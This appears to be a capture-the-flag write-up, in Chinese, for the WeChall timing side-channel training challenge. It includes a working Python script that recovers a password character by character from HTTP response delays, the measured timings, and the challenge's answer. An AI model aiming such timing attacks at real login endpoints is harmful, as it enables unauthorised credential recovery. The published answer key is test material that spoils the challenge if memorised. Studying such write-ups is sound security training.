WeChall - Training - Time is of the Essence

Training: Time is of the Essence (Training, Coding, Exploit) by gizmore 经典 timing side-channel 攻击——PHP 密码比对函数逐字符泄露 50ms 时间差。

Challenge

密码验证函数 utf8_stringCompare() 在比较每个字符成功后执行 usleep(50000)。网络延迟掩盖了 CPU 级别的时间差,但 50ms 的 sleep 足够在 HTTP 层面检测。

https://www.wechall.net/en/challenge/training/timing1/index.php

source 通过 ?show=source 获取,提示(password.php 直接访问)确认密码为 12 字符纯字母 [a-zA-Z]{12}

Source Analysis

vulnerable.php 中的比较逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function utf8_stringCompare($a, $b)
{
$len_a = mb_strlen($a);
$len_b = mb_strlen($b);
if ($len_a !== $len_b)
{
return false; # 长度不匹配:0 次 sleep
}

usleep(50000); # 长度匹配:+1 sleep (50ms)

for ($i = 0; $i < $len_a; $i++)
{
$char_a = mb_substr($a, $i, 1);
$char_b = mb_substr($b, $i, 1);

if ($char_a !== $char_b)
{
return false; # 字符不匹配:立即返回
}

usleep(50000); # 字符匹配:+1 sleep (50ms)
}

return true;
}

时间模型:N 个正确前缀字符 → 响应时间 = baseline + (1 + N) × 50ms。长度不对直接返回,0 sleep。

Solution

Step 1: 探测长度

提交 'A' * N (N = 1..60),使用 ?ajax=1&nosess=1 减少响应体积。正确长度比错误长度多 1 次 sleep(+50ms)。requests.Session() 保持 TCP+TLS 连接复用,将单次请求开销从 ~1.4s 降到 ~0.85s。

1
2
len=10: 306ms    len=11: 305ms    len=12: 355ms  ←  +50ms
len=13: 303ms len=14: 302ms

Step 2: 逐字符提取

对每个位置,测试全部 52 个候选字符(a-zA-Z),用中位数过滤网络抖动。每个正确字符比错误候选多 +50ms。

由于 FlClash 代理引入额外延迟,每个候选需要 10-20 次采样才能得到可靠信号。完整提取脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import time
import statistics
import re

BASE_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php?ajax=1&nosess=1'
SUBMIT_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php'
COOKIE = 'WC=<your_cookie>' # 替换为你的 WeChall session cookie
PW_LEN = 12
CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

def get_csrf():
s = requests.Session()
s.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
r = s.get(SUBMIT_URL, timeout=20)
m = re.search(r'gwf3_csrf.*?value="([^"]+)"', r.text)
return m.group(1) if m else None

csrf = get_csrf()
s = requests.Session()
s.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
s.post(BASE_URL, data={'answer': 'x', 'solve': 'Submit', 'gwf3_csrf': csrf}, timeout=20)
time.sleep(0.1)

def med(answer, n=8):
times = []
for _ in range(n):
for retry in range(2):
try:
start = time.perf_counter()
r = s.post(BASE_URL, data={
'answer': answer, 'solve': 'Submit', 'gwf3_csrf': csrf
}, timeout=20)
r.content
times.append(time.perf_counter() - start)
break
except:
time.sleep(2)
return statistics.median(times) if times else 0

password = ''
for pos in range(PW_LEN):
pad = 'A' * (PW_LEN - len(password) - 1)
candidates = []

# Quick pass: 4-5 samples
for c in CHARSET:
t = med(password + c + pad, n=5)
candidates.append((c, t))
candidates.sort(key=lambda x: x[1], reverse=True)

# Refine top 2: 12+ samples
refined = []
for c, _ in candidates[:2]:
t = med(password + c + pad, n=12)
refined.append((c, t))
refined.sort(key=lambda x: x[1], reverse=True)

best = refined[0]
delta = best[1] - refined[1][1]
password += best[0]
print(f'[{pos+1:2d}/12] {best[0]} D={delta*1000:5.0f}ms best={best[1]*1000:.0f}ms')

print(f'\nPassword: {password}')

# Submit
csrf2 = get_csrf()
s2 = requests.Session()
s2.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
r2 = s2.post(SUBMIT_URL, data={
'answer': password, 'solve': 'Submit', 'gwf3_csrf': csrf2
}, timeout=20)
print('Solved!' if 'Your answer is correct' in r2.text else 'Wrong')

Step 3: 提取结果

每字符的 timing 数据(median of 12-15 samples):

1
2
3
4
5
6
7
8
9
10
11
12
[ 1/12] F  Δ= 51ms  best=413ms
[ 2/12] a Δ= 62ms best=468ms
[ 3/12] s Δ= 49ms best=511ms
[ 4/12] t Δ= 49ms best=558ms
[ 5/12] C Δ= 43ms best=610ms
[ 6/12] i Δ= 52ms best=650ms
[ 7/12] n Δ= 50ms best=702ms
[ 8/12] a Δ= 53ms best=762ms
[ 9/12] t Δ= 50ms best=807ms
[10/12] i Δ= 47ms best=864ms
[11/12] n Δ= 46ms best=913ms
[12/12] g Δ= — best= —

Position 5 的大写 C 是关键验证点。提交 FastC...Fastc... 的对比测试确认了 uppercase:

1
2
3
FastCinatiAA (C upper): 859ms   ← 11 sleeps: 1 base + 10 matched
FastcinatiAA (c lower): 556ms ← 5 sleeps: 1 base + 4 matched
Delta: 303ms = 6 sleeps difference
FastCinating